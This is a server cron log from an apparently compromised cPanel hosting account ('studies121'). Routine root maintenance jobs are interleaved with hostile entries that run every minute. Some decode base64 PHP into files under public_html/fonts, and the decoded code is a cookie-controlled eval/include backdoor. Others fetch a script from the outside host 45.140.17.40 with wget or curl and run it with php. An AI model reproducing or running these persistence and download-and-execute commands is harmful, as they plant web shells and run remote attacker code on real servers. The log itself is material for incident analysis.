Sep  5 02:19:01 ip-184-168-122-23 CROND[24121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:19:01 ip-184-168-122-23 CROND[24120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:20:02 ip-184-168-122-23 CROND[24209]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:20:02 ip-184-168-122-23 CROND[24210]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:20:02 ip-184-168-122-23 CROND[24211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:20:02 ip-184-168-122-23 CROND[24212]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 02:20:02 ip-184-168-122-23 CROND[24215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:20:02 ip-184-168-122-23 CROND[24214]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 02:20:02 ip-184-168-122-23 CROND[24220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:20:02 ip-184-168-122-23 CROND[24217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:20:02 ip-184-168-122-23 CROND[24216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:21:01 ip-184-168-122-23 CROND[24311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:21:01 ip-184-168-122-23 CROND[24312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:21:01 ip-184-168-122-23 CROND[24313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:21:01 ip-184-168-122-23 CROND[24314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:22:01 ip-184-168-122-23 CROND[24474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:22:01 ip-184-168-122-23 CROND[24476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:22:01 ip-184-168-122-23 CROND[24477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:22:01 ip-184-168-122-23 CROND[24478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:22:01 ip-184-168-122-23 CROND[24479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:23:01 ip-184-168-122-23 CROND[24572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:23:01 ip-184-168-122-23 CROND[24574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:23:01 ip-184-168-122-23 CROND[24573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:23:01 ip-184-168-122-23 CROND[24575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:24:01 ip-184-168-122-23 CROND[24653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:24:01 ip-184-168-122-23 CROND[24654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:24:01 ip-184-168-122-23 CROND[24656]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:24:01 ip-184-168-122-23 CROND[24655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:24:01 ip-184-168-122-23 CROND[24657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:24:01 ip-184-168-122-23 CROND[24658]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  5 02:25:01 ip-184-168-122-23 CROND[24807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:25:01 ip-184-168-122-23 CROND[24812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:25:01 ip-184-168-122-23 CROND[24811]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:25:01 ip-184-168-122-23 CROND[24808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:25:01 ip-184-168-122-23 CROND[24810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:25:01 ip-184-168-122-23 CROND[24809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:25:01 ip-184-168-122-23 CROND[24814]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 02:26:01 ip-184-168-122-23 CROND[25025]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  5 02:26:01 ip-184-168-122-23 CROND[25030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:26:01 ip-184-168-122-23 CROND[25031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:26:01 ip-184-168-122-23 CROND[25032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:26:01 ip-184-168-122-23 CROND[25033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:26:01 ip-184-168-122-23 CROND[25035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  5 02:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  5 02:27:01 ip-184-168-122-23 CROND[25317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:27:01 ip-184-168-122-23 CROND[25319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:27:01 ip-184-168-122-23 CROND[25320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:27:01 ip-184-168-122-23 CROND[25318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:28:01 ip-184-168-122-23 CROND[25414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:28:01 ip-184-168-122-23 CROND[25411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:28:01 ip-184-168-122-23 CROND[25412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:28:01 ip-184-168-122-23 CROND[25413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:28:01 ip-184-168-122-23 CROND[25415]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:29:01 ip-184-168-122-23 CROND[25527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:29:01 ip-184-168-122-23 CROND[25528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:29:01 ip-184-168-122-23 CROND[25531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:29:01 ip-184-168-122-23 CROND[25529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:30:01 ip-184-168-122-23 CROND[25620]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 02:30:01 ip-184-168-122-23 CROND[25625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:30:01 ip-184-168-122-23 CROND[25626]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:30:01 ip-184-168-122-23 CROND[25628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:30:01 ip-184-168-122-23 CROND[25627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:30:01 ip-184-168-122-23 CROND[25630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:30:01 ip-184-168-122-23 CROND[25629]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:30:01 ip-184-168-122-23 CROND[25632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:31:01 ip-184-168-122-23 CROND[25725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:31:01 ip-184-168-122-23 CROND[25726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:31:01 ip-184-168-122-23 CROND[25729]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
